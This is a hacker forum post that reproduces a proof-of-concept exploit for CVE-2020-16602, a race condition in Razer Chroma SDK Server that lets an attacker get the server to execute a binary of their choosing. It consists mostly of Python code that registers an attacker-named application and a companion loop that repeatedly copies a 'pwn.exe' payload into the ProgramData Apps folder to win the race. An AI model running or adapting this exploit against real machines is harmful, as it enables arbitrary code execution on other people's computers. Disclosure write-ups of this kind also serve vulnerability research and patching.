Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Razer Chroma SDK Server 3.16.02 - Race Condition Remote File Execution

 Share


Recommended Posts

Exploit Title: Razer Chroma SDK Server 3.16.02 - Race Condition Remote File Execution
Date: 2020-08-13
Exploit Author: Loke Hui Yi
Vendor Homepage: https://razerid.razer.com
Software Link: http://rzr.to/synapse-3-pc-download
Version: <= v3.12.17
Tested on: Windows 10
CVE: CVE-2020-16602

# More info can be found here: 
# https://www.angelystor.com/2020/09/cve-2020-16602-remote-file-execution-on.html
# https://www.youtube.com/watch?v=fkESBVhIdIA

# Remote attackers can register applications to the Chroma Server. If the attacker has write access to the ProgramData folder where the Chroma Server stores its data, he can exploit a race condition and get the server to execute a binary of his choosing.

# The code below registers an application to the Chroma Server using a name of the attacker's choosing. 

# The attacker will need to pre-create a folder with the same name as the application to be registered in Razer Chroma SDK\Apps\<appname>, and create an exe file with the same application's name in that folder. The Apps folder is user writable and does not require admin privileges.

# The attacker can keep running the code below to get the Server to execute the file while writing  the payload to the target directory with another process (eg samba or ftp) in order to exploit the race condition.

import requests
import json


def heartbeat(uri):
    print(uri + '/heartbeat')
    r = requests.put(uri + '/heartbeat', verify=False)
    print(r.text)

def keyboard(uri):
    data = {
        "effect":"CHROMA_CUSTOM_KEY",
        "param":{
            "color":[
                [255, 255, 255, 255, 255, 65280, 65280, 65280, 65280, 65280, 16711680, 16711680, 16711680, 16711680, 16711680, 16776960, 16776960, 16776960, 65535, 65535, 65535, 65535],
                [255, 255, 255, 255, 255, 65280, 65280, 65280, 65280, 65280, 16711680, 16711680, 16711680, 16711680, 16711680, 16776960, 16776960, 16776960, 65535, 65535, 65535, 65535],
                [255, 255, 255, 255, 255, 65280, 65280, 65280, 65280, 65280, 16711680, 16711680, 16711680, 16711680, 16711680, 16776960, 16776960, 16776960, 65535, 65535, 65535, 65535],
                [255, 255, 255, 255, 255, 65280, 65280, 65280, 65280, 65280, 16711680, 16711680, 16711680, 16711680, 16711680, 16776960, 16776960, 16776960, 65535, 65535, 65535, 65535],
                [255, 255, 255, 255, 255, 65280, 65280, 65280, 65280, 65280, 16711680, 16711680, 16711680, 16711680, 16711680, 16776960, 16776960, 16776960, 65535, 65535, 65535, 65535],
                [255, 255, 255, 255, 255, 65280, 65280, 65280, 65280, 65280, 16711680, 16711680, 16711680, 16711680, 16711680, 16776960, 16776960, 16776960, 65535, 65535, 65535, 65535]
            ],
            "key":[
                [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
                [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
                [0, 0, 0, (16777216 | ~255), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
                [0, 0, (16777216 | ~255), (16777216 | ~255), (16777216 | ~255), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
                [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, (16777216 | ~16776960), 0, 0, 0, 0, 0],
                [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, (16777216 | ~16776960), (16777216 | ~16776960), (16777216 | ~16776960), 0, 0, 0, 0]
            ]
        }
    }
    print(uri + '/keyboard')
    r = requests.put(uri + '/keyboard', json=data, verify=False)
    print(r.text)

text="a"

for x in range(20000):
    text += "a"

pload = {
    "title": "APPNAME",
    "description": "description",
    "author": {
        "name": "name",
        "contact": "contact"
    },
    "device_supported": [
        "keyboard",
        "mouse",
        "headset",
        "mousepad",
        "keypad",
        "chromalink"],
    "category": "application"
}
server = 'https://chromasdk.io:54236/razer/chromasdk'
r = requests.post(server, json=pload, verify=False)

json_data = json.loads(r.text)

print(json_data)
uri = json_data['uri']

heartbeat(uri)

#uri = 'https://chromasdk.io:54236/sid=58487'
heartbeat(uri)

keyboard(uri)


print (json_data['sessionid'])

do_heartbeat = False

if do_heartbeat:
    sid = 1
    uri = 'https://chromasdk.io:54236/sid=' + sid
    heartbeat(uri)

# PoC loop.py for race test
'''
import requests

def copyfile(src, dst):
    with open(src, 'rb') as fsrc:
        with open(dst, 'wb') as fdst:
            content = fsrc.read()
            fdst.write(content)

while True:
    try:
        print("copying")
        copyfile('pwn.exe', 'C:\\ProgramData\\Razer Chroma SDK\\Apps\\pwn\\pwn.exe')
    except Exception as e:
        print(str(e))
'''
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...